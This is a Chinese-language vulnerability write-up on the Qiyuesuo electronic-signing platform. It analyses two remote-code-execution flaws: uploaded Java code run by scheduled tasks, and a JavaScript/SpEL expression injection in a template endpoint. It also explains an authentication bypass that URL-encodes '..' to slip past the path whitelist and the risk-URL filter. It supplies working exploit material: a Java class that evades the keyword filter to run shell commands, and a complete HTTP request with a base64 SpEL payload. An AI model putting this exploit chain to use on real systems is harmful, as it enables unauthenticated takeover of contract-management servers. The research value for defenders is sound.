契约锁代码执行漏洞分析

电子签约管理控制台

定时任务RCE

契约锁管理控制台的后台存在一个定时任务功能,可通过上传java代码执行。

image-20240507232238445

上传的接口为/api/code/upload,对应控制器为com.qiyuesuo.ucenter.CustomCodeControllerupload方法。

image-20240507232518025

在处理上传的过程中,调用到com.qiyuesuo.code.CustomCodeServiceImplcreate方法时,会检测是否存在RuntimeProcessProcessBuilder三个关键字,这个可以通过加载字节码的方式很容易绕过。

image-20240507232854616

后续会调用到com.qiyuesuo.core.compiling.javac.JavaDynamicCompilercompileFile方法对传入的java源码进行编译,会调用loadClass加载类,但并未调用。

image-20240507233128145

通过CustomCode对象保存包名类名等信息。

image-20240507233818422

最后返回CustomCode对象的id

image-20240507234044959

配置循环执行的次数和延期的时间或者定时表达式来执行上传的代码。

image-20240507234800133

点击确定以后会请求/api/utask/create接口,该接口对应com.qiyuesuo.utask.UserTaskControllercreate方法,调用this.timerService.addTask(record)添加到定时任务服务中。

image-20240507235058901

等待一段时间后,会自动调用到com.qiyuesuo.code.CustomCodeStrategyManagerloadCustomCode方法,加载并调用上传的java代码。

image-20240507235742187

权限绕过

每次请求会经过的Filter,顺序从上自下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
0 = {ApplicationFilterConfig@34795} "ApplicationFilterConfig[name=corsFilter, filterClass=org.springframework.web.filter.CorsFilter]"
1 = {ApplicationFilterConfig@34796} "ApplicationFilterConfig[name=ossRunWaitingFilter, filterClass=com.qiyuesuo.security.web.OssRunWaitingFilter]"
2 = {ApplicationFilterConfig@34797} "ApplicationFilterConfig[name=securityConfigurer, filterClass=com.qiyuesuo.security.web.SecurityConfigurer]"
3 = {ApplicationFilterConfig@34798} "ApplicationFilterConfig[name=characterEncodingFilter, filterClass=org.springframework.boot.web.servlet.filter.OrderedCharacterEncodingFilter]"
4 = {ApplicationFilterConfig@34799} "ApplicationFilterConfig[name=webMvcMetricsFilter, filterClass=org.springframework.boot.actuate.metrics.web.servlet.WebMvcMetricsFilter]"
5 = {ApplicationFilterConfig@34800} "ApplicationFilterConfig[name=formContentFilter, filterClass=org.springframework.boot.web.servlet.filter.OrderedFormContentFilter]"
6 = {ApplicationFilterConfig@34801} "ApplicationFilterConfig[name=requestContextFilter, filterClass=org.springframework.boot.web.servlet.filter.OrderedRequestContextFilter]"
7 = {ApplicationFilterConfig@34802} "ApplicationFilterConfig[name=riskUrlPreventFilter, filterClass=com.qiyuesuo.security.web.RiskUrlPreventFilter]"
8 = {ApplicationFilterConfig@34803} "ApplicationFilterConfig[name=ukeyAuthenticationFilter, filterClass=com.qiyuesuo.security.ukey.UkeyAuthenticationFilter]"
9 = {ApplicationFilterConfig@34804} "ApplicationFilterConfig[name=cloudHubAuthencationFilter, filterClass=com.qiyuesuo.security.cloudhub.CloudHubAuthencationFilter]"
10 = {ApplicationFilterConfig@34805} "ApplicationFilterConfig[name=weChatAuthenticationFilter, filterClass=com.qiyuesuo.security.wechat.WeChatAuthenticationFilter]"
11 = {ApplicationFilterConfig@34806} "ApplicationFilterConfig[name=casAuthenticationFilter, filterClass=com.qiyuesuo.security.cas.CasAuthenticationFilter]"
12 = {ApplicationFilterConfig@34807} "ApplicationFilterConfig[name=oaAuthenticationFilter, filterClass=com.qiyuesuo.security.oa.OaAuthenticationFilter]"
13 = {ApplicationFilterConfig@34808} "ApplicationFilterConfig[name=miniProgramAuthenticationFilter, filterClass=com.qiyuesuo.security.miniprogram.MiniProgramAuthenticationFilter]"
14 = {ApplicationFilterConfig@34809} "ApplicationFilterConfig[name=oaAuthenticationV2Filter, filterClass=com.qiyuesuo.security.oa.OaAuthenticationV2Filter]"
15 = {ApplicationFilterConfig@34810} "ApplicationFilterConfig[name=dingTalkAuthenticationFilter, filterClass=com.qiyuesuo.security.dingtalk.DingTalkAuthenticationFilter]"
16 = {ApplicationFilterConfig@34811} "ApplicationFilterConfig[name=ssoAuthenticationFilter, filterClass=com.qiyuesuo.security.sso.SSOAuthenticationFilter]"
17 = {ApplicationFilterConfig@34812} "ApplicationFilterConfig[name=feiShuAuthenticationFilter, filterClass=com.qiyuesuo.security.feishu.FeiShuAuthenticationFilter]"
18 = {ApplicationFilterConfig@34813} "ApplicationFilterConfig[name=snsAuthenticationFilter, filterClass=com.qiyuesuo.security.sns.SnsAuthenticationFilter]"
19 = {ApplicationFilterConfig@34814} "ApplicationFilterConfig[name=defaultAuthenticationFilter, filterClass=com.qiyuesuo.security.web.DefaultAuthenticationFilter]"
20 = {ApplicationFilterConfig@34815} "ApplicationFilterConfig[name=securityContextFilter, filterClass=com.qiyuesuo.security.web.SecurityContextFilter]"
21 = {ApplicationFilterConfig@25656} "ApplicationFilterConfig[name=timestampFilter, filterClass=com.qiyuesuo.security.web.TimestampFilter]"
22 = {ApplicationFilterConfig@34816} "ApplicationFilterConfig[name=logoutFilter, filterClass=com.qiyuesuo.security.logout.LogoutFilter]"
23 = {ApplicationFilterConfig@34817} "ApplicationFilterConfig[name=responsibilityFilter, filterClass=com.qiyuesuo.security.responsibility.ResponsibilityFilter]"
24 = {ApplicationFilterConfig@34818} "ApplicationFilterConfig[name=accessControlFilter, filterClass=com.qiyuesuo.security.access.AccessControlFilter]"
25 = {ApplicationFilterConfig@34819} "ApplicationFilterConfig[name=indepFilter, filterClass=com.qiyuesuo.indep.IndepFilter]"
26 = {ApplicationFilterConfig@34820} "ApplicationFilterConfig[name=paramsFilter, filterClass=com.qiyuesuo.security.web.ParamsFilter]"
27 = {ApplicationFilterConfig@25567} "ApplicationFilterConfig[name=resourceUrlEncodingFilter, filterClass=org.springframework.web.servlet.resource.ResourceUrlEncodingFilter]"
28 = {ApplicationFilterConfig@34821} "ApplicationFilterConfig[name=whiteHostFilter, filterClass=com.qiyuesuo.security.web.WhiteHostFilter]"
29 = {ApplicationFilterConfig@34822} "ApplicationFilterConfig[name=Tomcat WebSocket (JSR356) Filter, filterClass=org.apache.tomcat.websocket.server.WsFilter]"

对用户鉴权方法在AccessControlFilterdoFilterInternal方法中,调用了this.isAllow(request, response)方法处理路径鉴权逻辑。

image-20240508212710853

isAllow方法中,匹配请求路径,如果在白名单中,则放行,如果不在白名单中,则验证cookie,最终如果返回true则执行doFilter,返回false则返回登录失效,并跳转到登录页面。

image-20240508212815054

调用this.securityProperties.getAllowedPatterns()方法获取无需登录即可访问的路径。

image-20240508221801543
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
0 = "/api/setup*"
1 = "/api/setup/**"
2 = "/api/error*"
3 = "/api/logout*"
4 = "/api/nacos/**"
5 = "/api/dubbo/**"
6 = "/api/sys/config/name"
7 = "/api/version/info"
8 = "/api/license/check"
9 = "/api/license/get"
10 = "/api/license/get/env"
11 = "/api/captcha/**"
12 = "/api/login/**"
13 = "/api/multiauth"
14 = "/api/qys/oss/basePath"
15 = "/api/sys/config/oss"
16 = "/api/sys/config/develop/environment"
17 = "/api/v3/api-docs/ucenter"
18 = "/api/sys/config/obtainConvertConfig"
19 = "/favicon.ico"
20 = "/qysoss/assets/**"
21 = "/login*"
22 = "/api/login*"
23 = "/qys/oss/basePath"
24 = "/setup*"
25 = "/setup/**"
26 = "/checkHealth"

matchesRequestURI方法中,调用request.getRequestURI()获取请求的路径,遍历allowedPatterns中的路径,调用this.pathMatcher.matches(pattern, requestUri)方法逐个验证。

image-20240508223854229

当匹配规则为/api/setup*时,只能匹配到/api/setupxxx这类url,不能匹配/api/setup/a

image-20240508224832778
image-20240508224818497

当匹配规则为/api/setup/**时,可以匹配到/api/setup/aaaa/aaaa/aaa这类路由

image-20240508224944792

这里使用request.getRequestURI获取请求路径,这种方式存在一个安全隐患,当路径中存在..危险关键字并不会将其..剔除掉,所以在路径中添加/api/setup/../../api/code/upload也会被成功匹配到。

image-20240508225409536

请求经过Filter过滤器之后,会调用到DispatcherServlet类的doService方法,它是Spring MVC的核心,负责接收HTTP请求,并根据请求信息分发到相应的Controller进行处理,会对URL进行路径归一化处理。

调用栈

1
2
3
4
5
6
7
8
9
10
getRequestUri:382, UrlPathHelper (org.springframework.web.util)
getPathWithinApplication:298, UrlPathHelper (org.springframework.web.util)
getLookupPathForRequest:186, UrlPathHelper (org.springframework.web.util)
getHandlerInternal:363, AbstractHandlerMethodMapping (org.springframework.web.servlet.handler)
getHandlerInternal:110, RequestMappingInfoHandlerMapping (org.springframework.web.servlet.mvc.method)
getHandlerInternal:59, RequestMappingInfoHandlerMapping (org.springframework.web.servlet.mvc.method)
getHandler:396, AbstractHandlerMapping (org.springframework.web.servlet.handler)
getHandler:1234, DispatcherServlet (org.springframework.web.servlet)
doDispatch:1016, DispatcherServlet (org.springframework.web.servlet)
doService:943, DispatcherServlet (org.springframework.web.servlet)

在调用到Controller之前,会调用this.decodeRequestString(request, uri)对URI进行一次解码。

image-20240509001600388

然后通过request.getServletPath()获取请求路径

image-20240509001056213

通过request.getServletPath()获取到的路径路径获取bean

image-20240509002218880

但是当通过/api/setup/../../api/code/upload进行访问时,会被拦截掉。

image-20240508225521911

这是因为在RiskUrlPreventFilterdoFilterInternal方法中,会对请求的url进行检测,如果url中包含RISK_URLS变量中的只,则不允许访问,其中就包括/..

image-20240508222628933
1
2
3
4
5
6
7
8
static {
RISK_URLS.add("/..");
RISK_URLS.add("/services/AdminService");
RISK_URLS.add("/services/FreeMarkerService");
RISK_URLS.add("/actuator");
RISK_URLS.add("/error.log");
RISK_URLS.add("/errors.log");
}

由于会对路径做归一化处理,会进行url解码,而这里,我们可以将..进行URL编码即可绕过。

image-20240508225640207

漏洞复现

TestTimerTask1.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package com.qiyuesuo.utask.java;


import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;

public class TestTimerTask1 extends BaseTimerTask {
static final long serialVersionUID = 1L;
@Override
public void execute() {
final ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
final ScriptEngine js = scriptEngineManager.getEngineByName("js");
try {
js.eval("java.lang.Run"+"time.getR"+"untime().exec(\"touch /tmp/success\");");
} catch (Exception e) {
System.out.println(e);
}
}


}

上传,并配置执行方式

image-20240508000735880
image-20240508000821476

电子签约签署平台

表达式注入

在接口/api/template/html/add,该接口对应com.qiyuesuo.api.TemplateHtmlControlleraddHtmlTemplate方法,该方法接收一个TemplateBean类型的bean,其中包含titleparams等变量,首先会校验title不能为空并且不能超过100个字符长度。后续会获取该对象的params参数进行遍历,该参数是一个List对象,保存的是TemplateParam类型的对象,该对象存在一个属性值extensionParam,在160行会调用param.getExtensionParam()获取,并调用this.objectMapper.readValue将其转换成Map,然后会判断是否包含expression键,存在则获取该键,并调用this.checkExpression(newExpression)方法。

image-20240509223520411

checkExpression方法中,传入newExpression参数会被当做js代码执行。

image-20240509223218354

TemplateBean对象的参数值完全可控,所以可以构造TemplateBean参数的params参数,将expression键值指定JS代码实现代码执行。

权限绕过

签约平台所经过的Filter过滤器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
0 = "ApplicationFilterConfig[name=corsFilter, filterClass=org.springframework.web.filter.CorsFilter]"
1 = "ApplicationFilterConfig[name=ossRunWaitingFilter, filterClass=com.qiyuesuo.security.web.OssRunWaitingFilter]"
2 = "ApplicationFilterConfig[name=securityConfigurer, filterClass=com.qiyuesuo.security.web.SecurityConfigurer]"
3 = "ApplicationFilterConfig[name=signRunWaitingFilter, filterClass=com.qiyuesuo.filter.SignRunWaitingFilter]"
4 = "ApplicationFilterConfig[name=characterEncodingFilter, filterClass=org.springframework.boot.web.servlet.filter.OrderedCharacterEncodingFilter]"
5 = "ApplicationFilterConfig[name=webMvcMetricsFilter, filterClass=org.springframework.boot.actuate.metrics.web.servlet.WebMvcMetricsFilter]"
6 = "ApplicationFilterConfig[name=formContentFilter, filterClass=org.springframework.boot.web.servlet.filter.OrderedFormContentFilter]"
7 = "ApplicationFilterConfig[name=requestContextFilter, filterClass=org.springframework.boot.web.servlet.filter.OrderedRequestContextFilter]"
8 = "ApplicationFilterConfig[name=riskUrlPreventFilter, filterClass=com.qiyuesuo.security.web.RiskUrlPreventFilter]"
9 = "ApplicationFilterConfig[name=zhanginFilter, filterClass=com.qiyuesuo.physics.zhangin.security.ZhanginFilter]"
10 = "ApplicationFilterConfig[name=invalidSessionFilter, filterClass=com.qiyuesuo.security.web.InvalidSessionFilter]"
11 = "ApplicationFilterConfig[name=qunjeV5LogoutFilter, filterClass=com.qiyuesuo.security.qunje.QunjeV5LogoutFilter]"
12 = "ApplicationFilterConfig[name=qunjeV5AuthenticationFilter, filterClass=com.qiyuesuo.security.qunje.QunjeV5AuthenticationFilter]"
13 = "ApplicationFilterConfig[name=qunjeV5ClientAuthenticationFilter, filterClass=com.qiyuesuo.security.qunje.QunjeV5ClientAuthenticationFilter]"
14 = "ApplicationFilterConfig[name=weChatCallBackFilter, filterClass=com.qiyuesuo.security.wechat.WeChatCallBackFilter]"
15 = "ApplicationFilterConfig[name=idCardAuthenticationFilter, filterClass=com.qiyuesuo.security.idcard.IdCardAuthenticationFilter]"
16 = "ApplicationFilterConfig[name=ukeyAuthenticationFilter, filterClass=com.qiyuesuo.security.ukey.UkeyAuthenticationFilter]"
17 = "ApplicationFilterConfig[name=cloudHubAuthencationFilter, filterClass=com.qiyuesuo.security.cloudhub.CloudHubAuthencationFilter]"
18 = "ApplicationFilterConfig[name=weChatAuthenticationFilter, filterClass=com.qiyuesuo.security.wechat.WeChatAuthenticationFilter]"
19 = "ApplicationFilterConfig[name=authConfigFilter, filterClass=com.qiyuesuo.security.AuthConfigFilter]"
20 = "ApplicationFilterConfig[name=casAuthenticationFilter, filterClass=com.qiyuesuo.security.cas.CasAuthenticationFilter]"
21 = "ApplicationFilterConfig[name=zhanginAuthenticationFilter, filterClass=com.qiyuesuo.physics.zhangin.security.ZhanginAuthenticationFilter]"
22 = "ApplicationFilterConfig[name=oaAuthenticationFilter, filterClass=com.qiyuesuo.security.oa.OaAuthenticationFilter]"
23 = "ApplicationFilterConfig[name=miniProgramAuthenticationFilter, filterClass=com.qiyuesuo.security.miniprogram.MiniProgramAuthenticationFilter]"
24 = "ApplicationFilterConfig[name=oauth2AuthenticationFilter, filterClass=com.qiyuesuo.security.oauth2.OAuth2AuthenticationFilter]"
25 = "ApplicationFilterConfig[name=oaAuthenticationV2Filter, filterClass=com.qiyuesuo.security.oa.OaAuthenticationV2Filter]"
26 = "ApplicationFilterConfig[name=eofficeSSOAuthenticationFilter, filterClass=com.qiyuesuo.security.eoffice.EofficeSSOAuthenticationFilter]"
27 = "ApplicationFilterConfig[name=wechatCheckFileFilter, filterClass=com.qiyuesuo.security.wechat.WechatCheckFileFilter]"
28 = "ApplicationFilterConfig[name=dingTalkAuthenticationFilter, filterClass=com.qiyuesuo.security.dingtalk.DingTalkAuthenticationFilter]"
29 = "ApplicationFilterConfig[name=ssoAuthenticationFilter, filterClass=com.qiyuesuo.security.sso.SSOAuthenticationFilter]"
30 = "ApplicationFilterConfig[name=feiShuAuthenticationFilter, filterClass=com.qiyuesuo.security.feishu.FeiShuAuthenticationFilter]"
31 = "ApplicationFilterConfig[name=welinkAuthenticationFilter, filterClass=com.qiyuesuo.security.welink.WelinkAuthenticationFilter]"
32 = "ApplicationFilterConfig[name=miniProgramCheckFileFilter, filterClass=com.qiyuesuo.security.miniprogram.MiniProgramCheckFileFilter]"
33 = "ApplicationFilterConfig[name=clientVersionFilter, filterClass=com.qiyuesuo.security.ClientVersionFilter]"
34 = "ApplicationFilterConfig[name=snsAuthenticationFilter, filterClass=com.qiyuesuo.security.sns.SnsAuthenticationFilter]"
35 = "ApplicationFilterConfig[name=DingtalkFilter, filterClass=com.qiyuesuo.security.dingtalk.DingtalkFilter]"
36 = "ApplicationFilterConfig[name=welinkLoginFilter, filterClass=com.qiyuesuo.security.welink.WelinkLoginFilter]"
37 = "ApplicationFilterConfig[name=defaultAuthenticationFilter, filterClass=com.qiyuesuo.security.web.DefaultAuthenticationFilter]"
38 = "ApplicationFilterConfig[name=securityContextFilter, filterClass=com.qiyuesuo.security.web.SecurityContextFilter]"
39 = "ApplicationFilterConfig[name=timestampFilter, filterClass=com.qiyuesuo.security.web.TimestampFilter]"
40 = "ApplicationFilterConfig[name=zhanginUserAuthFilter, filterClass=com.qiyuesuo.physics.zhangin.security.ZhanginUserAuthFilter]"
41 = "ApplicationFilterConfig[name=openUserAuthFilter, filterClass=com.qiyuesuo.security.OpenUserAuthFilter]"
42 = "ApplicationFilterConfig[name=qunjeV5UserAuthFilter, filterClass=com.qiyuesuo.security.qunje.QunjeV5UserAuthFilter]"
43 = "ApplicationFilterConfig[name=logoutFilter, filterClass=com.qiyuesuo.security.logout.LogoutFilter]"
44 = "ApplicationFilterConfig[name=ssoUserAuthFilter, filterClass=com.qiyuesuo.security.SsoUserAuthFilter]"
45 = "ApplicationFilterConfig[name=OpenOaRedirectFilter, filterClass=com.qiyuesuo.security.OpenOaRedirectFilter]"
46 = "ApplicationFilterConfig[name=openOaAuthenticationFilter, filterClass=com.qiyuesuo.security.OpenOaAuthenticationFilter]"
47 = "ApplicationFilterConfig[name=responsibilityFilter, filterClass=com.qiyuesuo.security.responsibility.ResponsibilityFilter]"
48 = "ApplicationFilterConfig[name=accessControlFilter, filterClass=com.qiyuesuo.security.access.AccessControlFilter]"
49 = "ApplicationFilterConfig[name=indepFilter, filterClass=com.qiyuesuo.indep.IndepFilter]"
50 = "ApplicationFilterConfig[name=cloudHubCallBackFilter, filterClass=com.qiyuesuo.security.cloudhub.CloudHubCallBackFilter]"
51 = "ApplicationFilterConfig[name=dingTalkCallBackFilter, filterClass=com.qiyuesuo.security.dingtalk.DingTalkCallBackFilter]"
52 = "ApplicationFilterConfig[name=multiAuthenticationFilter, filterClass=com.qiyuesuo.security.MultiAuthenticationFilter]"
53 = "ApplicationFilterConfig[name=versionInfoFilter, filterClass=com.qiyuesuo.filter.VersionInfoFilter]"
54 = "ApplicationFilterConfig[name=paramsFilter, filterClass=com.qiyuesuo.security.web.ParamsFilter]"
55 = "ApplicationFilterConfig[name=resourceUrlEncodingFilter, filterClass=org.springframework.web.servlet.resource.ResourceUrlEncodingFilter]"
56 = "ApplicationFilterConfig[name=whiteHostFilter, filterClass=com.qiyuesuo.security.web.WhiteHostFilter]"
57 = "ApplicationFilterConfig[name=categoryUpdateFilter, filterClass=com.qiyuesuo.category.CategoryUpdateFilter]"
58 = "ApplicationFilterConfig[name=passThroughFilter, filterClass=com.qiyuesuo.contract.passthrough.PassThroughFilter]"
59 = "ApplicationFilterConfig[name=Tomcat WebSocket (JSR356) Filter, filterClass=org.apache.tomcat.websocket.server.WsFilter]"

同样用户鉴权方法在AccessControlFilterdoFilterInternal方法中,调用了this.isAllow(request, response)方法处理路径鉴权逻辑。

image-20240509233903493

访问路径白名单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
0 = "/api/captcha/**"
1 = "/api/login*"
2 = "/api/login/**"
3 = "/api/callback/**"
4 = "/api/company/auth/forwardinfo"
5 = "/api/contract/summary"
6 = "/api/sys/config/activemethod"
7 = "/api/version/info"
8 = "/api/version/check"
9 = "/api/getIosAppInfo"
10 = "/api/contract/ukeysign/**"
11 = "/api/app/url"
12 = "/api/contractqr/**"
13 = "/api/pdfverifier*"
14 = "/api/pdfverifier/**"
15 = "/api/formSignatory/image"
16 = "/api/formSignatory/get"
17 = "/api/session/status"
18 = "/api/user/change/mobile"
19 = "/api/user/mobile/pin"
20 = "/api/user/voice/pin"
21 = "/api/user/get/mobile"
22 = "/api/modifyphone"
23 = "/api/sys/custom/config"
24 = "/api/formSignatory/sign/v2/ukey"
25 = "/api/physicaluploadthird/*"
26 = "/api/ukey/login"
27 = "/api/third/ukey/login"
28 = "/api/sys/config/multipassword"
29 = "/api/multiauth"
30 = "/api/lk/*"
31 = "/api/sys/config/skin"
32 = "/api/contract/sweepcode/detail/*"
33 = "/api/contract/sweepcode/pin"
34 = "/api/company/logo/base64*"
35 = "/api/company/logo/image*"
36 = "/api/css"
37 = "/api/binary/signbyukey"
38 = "/api/sys/config/getbackgroundimage"
39 = "/api/sys/config/getbackgroundconfig"
40 = "/api/user/get/account"
41 = "/api/user/setPwdAtLogin"
42 = "/api/user/ukey/checkbind"
43 = "/api/responsibility/config"
44 = "/api/sys/config/icp"
45 = "/api/sys/config/oss"
46 = "/api/contract/sweepcode/pin"
47 = "/api/qys/webapp/basePath"
48 = "/api/error/outOfDate"
49 = "/api/company/retrieve/company/check"
50 = "/api/company/retrieve/user/check"
51 = "/api/sys/config/sign/develop/environment"
52 = "/api/user/retrieve/**"
53 = "/api/user/avatar/image"
54 = "/api/cert/getFromCloud"
55 = "/api/risk/user/**"
56 = "/api/idCard/*"
57 = "/api/company/auth/forward/overview"
58 = "/api/document/getOfdConfig"
59 = "/api/sys/config/checkEmail"
60 = "/api/indep/cancel/inner/all"
61 = "/api/physicalqr/**/**"
62 = "/api/msg/expire/check"
63 = "/api/authentication/exchangeqid*"
64 = "/api/pass/through/event"
65 = "/api/msg/expire/signsilent/company/check"
66 = "/api/sys/config/token/key"
67 = "/qyswebapp/assets/**"
68 = "/favicon.ico"
69 = "/zhangin/js/*"
70 = "/zhangin/css/*"
71 = "/zhangin/favicon.*"
72 = "/zhangin/apk/*.apk"
73 = "/signaturethird"
74 = "/signatureupload"
75 = "/zhangin/index.html"
76 = "/zhangin/img/**"
77 = "/zhangin/fonts/**"
78 = "/zhangin/build.json"
79 = "/version/info"
80 = "/login*"
81 = "/login/**"
82 = "/qys/webapp/basePath"
83 = "/retrieve*"
84 = "/user-retrieve*"
85 = "/app/download"
86 = "/anomalous"
87 = "/error*"
88 = "/verifier*"
89 = "/privacy-protection"
90 = "/retrieve*"
91 = "/scanLogin*"
92 = "/confirm-identity"
93 = "/lpsealupload"
94 = "/signature/upload"
95 = "/face-login"
96 = "/contractqrdetail/**"
97 = "/contract-detail-open-qrcode/**"
98 = "/physicalqrdetail/**"
99 = "/WW_verify_*.txt"
100 = "/sealer/**"
101 = "/wechat/biz/callback"
102 = "/cloudhub/callback"
103 = "/dingtalk/callback"
104 = "/dingtalk/newcallback"
105 = "/dtlogin"
106 = "/logout*"
107 = "/welinklogin"
108 = "/checkHealth"
109 = "/contract/print/client/infos"
110 = "/document/print/client/download"
111 = "/contract/print/client/delete"
112 = "/app/getCurrTime.htm"
113 = "/app/console/check.htm"
114 = "/console/sealApply/view.htm"
115 = "/app/sealuse/image.htm"
116 = "/app/console/sealApply/view.htm"
117 = "/app/sys/compareVersion.htm"
118 = "/zhangin/apk/download"

绕过原理跟管理控制一致。

漏洞复现

执行命令延时判断漏洞是否存在

1
2
VChqYXZhLmxhbmcuVGhyZWFkKS5zbGVlcCg1MDAwKQ==
T(java.lang.Thread).sleep(5000)
1
2
3
4
5
6
7
8
9
10
11
12
POST /login/%2e%2e/api/template/html/add HTTP/1.1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Linux; Android 4.1.2; Nexus 7 Build/JZ054K) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19
Accept-Encoding: gzip, deflate
Cache-Control: no-cache
Pragma: no-cache
Host: 172.20.10.9:9180
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 365
Connection: close

{"file":"test","title":"test","groupId":"1","params":[{"extensionParam":"{\"expression\":\"var a=new org.springframework.expression.spel.standard.SpelExpressionParser();var b='VChqYXZhLmxhbmcuVGhyZWFkKS5zbGVlcCg1MDAwKQ==';var b64=java.util.Base64.getDecoder();var deStr=new java.lang.String(b64.decode(b),'UTF-8');var c=a.parseExpression(deStr);c.getValue();\"}"}]}
image-20240509234354672

参考文章

https://xz.aliyun.com/t/12661

https://evilpan.com/

https://www.cnblogs.com/nice0e3/p/14801884.html#%E7%BB%95%E8%BF%87%E6%96%B9%E5%BC%8F